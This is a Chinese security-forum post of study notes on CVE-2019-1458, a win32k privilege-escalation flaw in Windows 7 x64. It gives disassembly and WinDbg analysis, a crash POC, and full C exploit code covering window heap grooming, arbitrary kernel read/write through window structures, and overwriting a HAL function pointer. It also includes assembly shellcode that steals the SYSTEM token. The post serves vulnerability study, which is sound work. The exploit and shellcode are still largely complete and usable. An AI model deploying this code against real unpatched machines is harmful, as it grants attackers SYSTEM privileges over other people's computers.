首页
论坛
课程
招聘
[原创]CVE-2019-1458提权漏洞学习笔记
2022-6-28 15:54 7073

[原创]CVE-2019-1458提权漏洞学习笔记

2022-6-28 15:54
7073

一.前言

1.漏洞描述

该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。可是这最开始的八字节中保存的内容可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。

2.实验环境

  • 操作系统:Win7 x64 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg

二.漏洞分析

漏洞函数xxxPaintSwitchWindow只有一个参数,就是窗口对象的tagWND结构体,在win7 x64系统下,该结构体共占128字节,定义如下:

2: kd> dt win32k!tagWND -v
struct tagWND, 170 elements, 0x128 bytes
   +0x000 head             : struct _THRDESKHEAD, 5 elements, 0x28 bytes
   +0x028 state            : Uint4B
   +0x02c state2           : Uint4B
   +0x030 ExStyle          : Uint4B
   +0x034 style            : Uint4B
   +0x038 hModule          : Ptr64 to Void
   +0x040 hMod16           : Uint2B
   +0x042 fnid             : Uint2B
   +0x048 spwndNext        : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x050 spwndPrev        : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x058 spwndParent      : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x060 spwndChild       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x068 spwndOwner       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x070 rcWindow         : struct tagRECT, 4 elements, 0x10 bytes
   +0x080 rcClient         : struct tagRECT, 4 elements, 0x10 bytes
   +0x090 lpfnWndProc      : Ptr64 to     int64 
   +0x098 pcls             : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes
   +0x0a0 hrgnUpdate       : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
   +0x0a8 ppropList        : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes
   +0x0b0 pSBInfo          : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes
   +0x0b8 spmenuSys        : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
   +0x0c0 spmenu           : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes
   +0x0c8 hrgnClip         : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
   +0x0d0 hrgnNewFrame     : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes
   +0x0d8 strName          : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes
   +0x0e8 cbwndExtra       : Int4B
   +0x0f0 spwndLastActive  : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x0f8 hImc             : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes
   +0x100 dwUserData       : Uint8B
   +0x108 pActCtx          : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes
   +0x110 pTransform       : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes
   +0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x120 ExStyle2         : Uint4B

xxxPaintSwitchWindow函数会将扩展区域中保存的内容赋给rdi:

.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND)
.text:FFFFF97FFF111DEC
.text:FFFFF97FFF111E15                 xor     r13d, r13d
.text:FFFFF97FFF111E08                 mov     rsi, rcx        ; 将tagWND赋给rsi
.text:FFFFF97FFF111E4F                 mov     rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容
.text:FFFFF97FFF111E56                 jmp     short loc_FFFFF97FFF111E5B

验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:

.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B:                   
.text:FFFFF97FFF111E5B                 cmp     rdi, r13        ; 验证rdi是否为0
.text:FFFFF97FFF111E5E                 jz      loc_FFFFF97FFF112019
                 // 省略部分代码
.text:FFFFF97FFF111E77                 cmp     [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0
.text:FFFFF97FFF111E7B                 jz      short loc_FFFFF97FFF111E94

之后还会对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,这里不难看出,增减的数值由GetDPIMetrics函数的返回值决定,不过这不是重点,重点是这些操作是会扩大这些与rdi偏移的地址中保存的内容:

这里的问题就很明显,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,只要将这个地址修改为一个非法地址,函数对非法地址的读写就会产生BSOD。如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra。

三.漏洞验证

触发该的函数调用链为:NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow。

首先是NtUserMessageCall函数,该函数在msg < 0x400的时候就会调用gapfnMessageCall数组中保存的函数地址:

__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7)
{

    if ( (unsigned int)msg < 0x400 )
    {
      v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])(
              v12,
              (unsigned int)msg,
              wParam,
              lParam,
              ResultInfo,
              dwType,
              v15);
    }
}

gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:

__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType)
{

  return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8,
           												v7,
           												v6,
          												&Dst,
           												a5);
}

而gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样8 * 6 + 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc。

xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数:

xxxSwitchWndProc主要分为两部分,第一部分如下图所示,会对tagWND->fnid进行判断,而一个新创建的窗口fnid为0,所以最外面的if语句会成立。在if成立的情况下,会有三个地方可能导致函数返回。

第一处是由于tagWND->fnid为0,所以就是在判断tagWND->cbwndExtra是否小于gpsi + 0x154中保存的数值。因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。那么,这里就是在判断gpsi偏移0x154保存的内容大于等于至少0x130,而不通过其他操作,[gpsi + 0x154] < 0x130,所以这个条件不会成立。

第二处在传递的参数msg为WM_CREATE的时候,函数就不会返回:

#define WM_CREATE                       0x0001

第三处只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。如果这三处都不成立,就会将tagWND->fnid设置为0x2A0。

xxxSwitchWndProc第二处是调用漏洞函数xxxPaintSwitchWindow:

  switch ( msg )
  {
    case 0x14u:
    case 0x3Au:
      xxxPaintSwitchWindow(tagWND);
      return 0i64;
  }

当消息为WM_ERASEBKGND的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow:

#define WM_ERASEBKGND                   0x0014

想要触发漏洞函数,msg就不为1,可是msg不为1的时候,在xxxSwitchWndProc的第一部分的第二处代码又会返回。所以就需要两次进入xxxSwitchWndProc函数,第一次的时候msg要为WM_CREATE(0x1),这样函数会将tagWND->fnid设置为0x2A0。第二次在调用的时候,msg就可以指定为WM_ERASEBKGND(0x14),此时由于第一次进入将tagWND->fnid设置为0x2A0,xxxSwitchWndProc就会绕过第一部分的代码,直接在第二部分判断消息,调用漏洞函数xxxPaintSwitchWindow。

在xxxPaintSwitchWindow函数中,在第4处获取扩展区域最开始八字节保存的地址之前,也有三个地方需要绕过:

第一处的绕过,只需要创建窗口的时候,指定窗口可见就可以。在xxxSwitchWndProc函数中,已经设置了tagWND->fnid为0x2A0,所以不需要绕过。第三处还是在判断[gpsi + 0x154]和cbwndExtra + 0x128的数值大小,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。

因此,漏洞触发步骤如下:

  • 创建一个可见的带有八字节扩展区域的窗口用来触发漏洞

  • 调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0

  • 将扩展区域最开始八字节保存的地址设置为一个不合法的地址

  • 创建类名为"32771"的窗口,将[gpsi + 0x154]设置为0x130

  • 调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数

相应POC代码如下:

BOOL POC_CVE_2019_1458()
{
	BOOL bRet = TRUE;
	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	char *pBuf = "POC";
	WNDCLASSEX wc = { 0 };

	wc.cbSize = sizeof(wc);
	wc.cbWndExtra = 8;
	wc.hInstance = handle;
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pBuf;

	if (!RegisterClassEx(&wc))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	HWND hPocWnd = NULL;

	// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
	hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
							 NULL, NULL, handle, NULL);
	if (!hPocWnd)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	// 设置tagWND->fnid为0x2A0
	NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0);

	// 设置内存地址
	SetWindowLongPtrW(hPocWnd, 0, 0x1900);

	// 设置[gpsi + 0x154] = 0x130
	if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
						NULL, NULL, handle, NULL))
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}
	
	// 触发漏洞
	NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);

exit:
	return bRet;
}

在上图的第四处,也就是取出扩展区域最开始八字节保存的地址代码处下断点,编译运行POC,程序就会绕过上面的判断成功执行到这里:

3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x63
3: kd> g
Breakpoint 0 hit
win32k!xxxPaintSwitchWindow+0x63:
fffff960`00201e4f 488bbe28010000  mov     rdi,qword ptr [rsi+128h]
0: kd> p
win32k!xxxPaintSwitchWindow+0x6a:
fffff960`00201e56 eb03            jmp     win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)

继续向下运行,函数会对扩展区域保存的八字节地址进行读取,而这个地址已经被设置为一个不合法的地址:

3: kd> p
win32k!xxxPaintSwitchWindow+0x6f:
fffff960`00201e5b 493bfd          cmp     rdi,r13
3: kd> p
win32k!xxxPaintSwitchWindow+0x72:
fffff960`00201e5e 0f84b5010000    je      win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)
3: kd> p
win32k!xxxPaintSwitchWindow+0x78:
fffff960`00201e64 33d2            xor     edx,edx
3: kd> p
win32k!xxxPaintSwitchWindow+0x7a:
fffff960`00201e66 41b800000100    mov     r8d,10000h
3: kd> p
win32k!xxxPaintSwitchWindow+0x80:
fffff960`00201e6c 488bce          mov     rcx,rsi
3: kd> p
win32k!xxxPaintSwitchWindow+0x83:
fffff960`00201e6f e8dccbfaff      call    win32k!GetDCEx (fffff960`001aea50)
3: kd> p
win32k!xxxPaintSwitchWindow+0x88:
fffff960`00201e74 488be8          mov     rbp,rax
3: kd> p
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00201e77 44396f6c        cmp     dword ptr [rdi+6Ch],r13d
3: kd> r rdi
rdi=0000000000001900
3: kd> dq 0000000000001900
00000000`00001900  ????????`???????? ????????`????????
00000000`00001910  ????????`???????? ????????`????????
00000000`00001920  ????????`???????? ????????`????????
00000000`00001930  ????????`???????? ????????`????????
00000000`00001940  ????????`???????? ????????`????????
00000000`00001950  ????????`???????? ????????`????????
00000000`00001960  ????????`???????? ????????`????????
00000000`00001970  ????????`???????? ????????`????????

继续运行就会因为对不合法地址进行读取造成BSOD:

1: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff96000131e77, Address of the instruction which caused the bugcheck
Arg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.


CONTEXT:  fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)
rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000
rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900
rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568
 r8=0000000000000000  r9=0000000000000000 r10=fffff880069176c0
r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
win32k!xxxPaintSwitchWindow+0x8b:
fffff960`00131e77 44396f6c        cmp     dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????
Resetting default scope

PROCESS_NAME:  exp_x64.exe

STACK_TEXT:  
win32k!xxxPaintSwitchWindow+0x8b
win32k!xxxSwitchWndProc+0xc5
win32k!xxxWrapSwitchWndProc+0x3c
win32k!NtUserfnDWORD+0x27
win32k!NtUserMessageCall+0x132
nt!KiSystemServiceCopyEnd+0x13
exp_x64+0x107b
exp_x64+0x3f81a

四.漏洞利用

要利用这个漏洞,需要在触发漏洞的窗口高地址不远处布置另一个用来攻击的窗口,所以需要首先创建一些用来攻击的窗口,然后释放掉中间的一部分,这样触发漏洞时候创建的窗口就会占用释放的某个窗口,高地址就会保存其他的窗口,相应代码如下:

BOOL Init_CVE_2019_1458(HWND *hWndList)
{
	BOOL bRet = TRUE;
	WNDCLASSEX wc = { 0 };
	char *pAttackName = "Attack";
	DWORD i = 0;
	HINSTANCE handle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	memset(&wc, 0, sizeof(wc));
	wc.cbSize = sizeof(wc);
	wc.hInstance = GetModuleHandle(NULL);
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pAttackName;
	wc.cbWndExtra = 8;

	if (!RegisterClassEx(&wc))
	{
		ShowError("RegisterClassEx", GetLastError());
		bRet = FALSE;
		goto exit;
	}

	// 创建用来攻击的窗口
	for (i = 0; i < 100; i++)
	{
		hWndList[i] = CreateWindowEx(NULL,
									 pAttackName,
									 "Hack Window",
									 WS_VISIBLE,
									 0, 0, 0, 0,
									 NULL,
									 0,
								     handle,
									 0);
		if (!hWndList[i])
		{
			ShowError("CreateWindowEx", GetLastError());
			bRet = FALSE;
			goto exit;
		}
	}

	// 释放其中的一部分用来保存触发漏洞时候创建的窗口
	for (i = 20; i < 80; i += 2)
	{
		if (!DestroyWindow(hWndList[i]))
		{
			ShowError("DestroyWindow", GetLastError());
			bRet = FALSE;
			goto exit;
		}
		hWndList[i] = NULL;
	}

exit:
	return bRet;
}

在漏洞触发的时候,只要找到高地址处最近的窗口就可以完成攻击。此时,窗口扩展区域最开始八字节保存的地址应当是触发漏洞窗口的cbwndExtra地址减去0x60偏移的地址,因为xxxPaintSwitchWindow进行加减入操作的时候,是从偏移0x5C开始的。另外,在到达对内存进行加减操作之前,函数还会判断Alt键是否被按下,所以触发漏洞之前,需要模拟Alt的按键消息才能成功的完成加减的操作。

一旦成功扩大cbwndExtra,就可以利用SetWindowLong修改高位地址的tagWND实现任意地址读写完成提权,所以此时触发漏洞的代码如下:

BOOL Trigger_CVE_2019_1458(HWND *hWndList)
{
	BOOL bRet = TRUE;
	HINSTANCE handle = NULL;
	lHMValidateHandle HMValidateHandle = NULL;

	handle = GetModuleHandle(NULL);
	if (!handle)
	{
		bRet = FALSE;
		ShowError("GetModuleHandle", GetLastError());
		goto exit;
	}

	HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
	if (!HMValidateHandle)
	{
		bRet = FALSE;
		goto exit;
	}

	char *pBuf = "Trigger";
	WNDCLASSEX wc = { 0 };

	wc.cbSize = sizeof(wc);
	wc.cbWndExtra = 8;
	wc.hInstance = handle;
	wc.lpfnWndProc = DefWindowProc;
	wc.lpszClassName = pBuf;

	if (!RegisterClassEx(&wc))
	{
		bRet = FALSE;
		ShowError("RegisterClassEx", GetLastError());
		goto exit;
	}

	HWND hTriggerWnd = NULL;

	// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE
	hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0,
								 NULL, NULL, handle, NULL);
	if (!hTriggerWnd)
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	// 寻找用来攻击的窗口
	ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0;
	PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
	
	ulTriggerAddr = (ULONG64)pTriggerHead->pSelf;
	HWND hAttackWnd = NULL;
	for (i = 0; i < 100; i++)
	{
		if (hWndList[i])
		{
			PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW);
			ulAttackAddr = (ULONG64)pAttackHead->pSelf;
			if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000)
			{
				hAttackWnd = hWndList[i];
				break;
			}
		}
	}

	if (!hAttackWnd)
	{
		printf("Do not find Attack tagWND\n");
		bRet = FALSE;
		goto exit;
	}
	
	// 设置tagWND->fnid为0x2A0
	NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);

	// 设置内存地址
	ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60;
	SetWindowLongPtrW(hTriggerWnd, 0, ulValue);

	// 设置[gpsi + 0x154] = 0x130
	if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0,
						NULL, NULL, handle, NULL))
	{
		bRet = FALSE;
		ShowError("CreateWindowEx", GetLastError());
		goto exit;
	}

	// 模拟Alt按键
	BYTE keyState[256];
	GetKeyboardState(keyState);
	keyState[VK_MENU] |= 0x80;
	SetKeyboardState(keyState);

	// 触发漏洞
	NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);

	ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128;
	if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset))
	{
		bRet = FALSE;
		goto exit;
	}

exit:
	return bRet;
}

在提权代码中,利用tagWND->spwndParent和tagWND->StrName->Buffer来实现任意代码读写,修改关键函数为ShellCode地址实现提权:

BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset)
{
	BOOL bRet = TRUE;

	PVOID pTargetAddr = NULL;

	pTargetAddr = GetHalQuerySystemInformation();
	if (!pTargetAddr)
	{
		bRet = FALSE;
		goto exit;
	}

	ULONG64 ulOrgFunAddr = 0;

	// 获取原函数地址
	ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset);

	// 将函数修改为ShellCode地址
	WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset);

	// 调用函数执行ShellCode实现提权
	if (!CallNtQueryIntervalProfile())
	{
		bRet = FALSE;
		goto exit;
	}
	
	// 恢复原函数
	WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset);

exit:
	return bRet;
}

VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset)
{
	BOOL bRet = TRUE;

	// 设置要写入的地址
	SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr);

	LARGE_UNICODE_STRING lstrData = { 0 };
	lstrData.Length = 0x8;
	lstrData.MaximumLength = 0xA;
	lstrData.Buffer = (PWCHAR)&pValue;
	NtUserDefSetText(hAttackWnd, &lstrData);
}

ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset)
{
	ULONG64 ulOrg = 0, ulOrgPar = 0;
	ULONG64 ulParOffset = ulOffset + 0x58;

	// 获取tagWND->spwndParent
	ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);

	// 设置tagWND->spwndParent为目标地址
	SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr);
	// 读取目标地址内容
	ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT);
	// 恢复tagWND->spwndParent
	SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar);

	return ulOrg;
}

五.运行结果

在Win7 x64系统中,用来实现提权的关键成员偏移如下:

3: kd> dt _EPROCESS
ntdll!_EPROCESS
   +0x180 UniqueProcessId  : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   +0x208 Token            : _EX_FAST_REF

此时的对象头定义如下,此时Body偏移为0x30,所以提权之后,增加PointerCount时的偏移为-0x30:

kd> dt _OBJECT_HEADER
nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int8B
   +0x008 HandleCount      : Int8B
   +0x008 NextToFree       : Ptr64 Void
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : UChar
   +0x019 TraceFlags       : UChar
   +0x01a InfoMask         : UChar
   +0x01b Flags            : UChar
   +0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : Ptr64 Void
   +0x028 SecurityDescriptor : Ptr64 Void
   +0x030 Body             : _QUAD

相应的ShellCode如下:

ShellCodeInWin7 proc
	push r8
	push r9
	; 从KPCR中获取当前线程_ETHREAD
	mov rax, gs:[188h]
	; 从_ETHREAD中获取当前进程_EPROCESS
	mov rax, [rax + 70h]	
	mov r8, rax
	
find_system_proc:
	; 获取下一进程EPROCESS地址
	mov rax, [rax + 188h]	
	sub rax, 188h
	; 获取PID
	mov rdx, [rax + 180h]	
	; 判断pid是否为4,不为4则跳转
	cmp rdx, 4			
	jne find_system_proc	

	; 将system的token赋值给本进程,并增加引用计数
	mov rax, [rax + 208h]	
	and al, 0f0h
	mov [r8 + 208h], rax
	mov r9, 2
	add [rax - 30h], r9
	
	; 设置返回值,退出函数
	mov rax, 1
	pop r9
	pop r8
	ret 
ShellCodeInWin7 endp

相应的代码在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp。编译运行成功,就可以成功提权:

虽然可以成功提权,由于触发漏洞的时候,xxxPaintSwitchWindow会修改0x10字节的数据,所以不只是tagWND->cbwndExtra会被修改,其他成员也会被修改,所以在程序释放窗口的时候就会产生BSOD。尝试过把这些被修改的数据改成0,或者其他窗口的数值,但还是会蓝屏,不知道要怎么解决,就等论坛的其他师傅们探索了。

六.参考资料


[2022夏季班]《安卓高级研修班(网课)》月薪三万班招生中~

最后于 2022-7-19 18:14 被1900编辑 ,原因:
收藏
点赞4
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/07/18 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回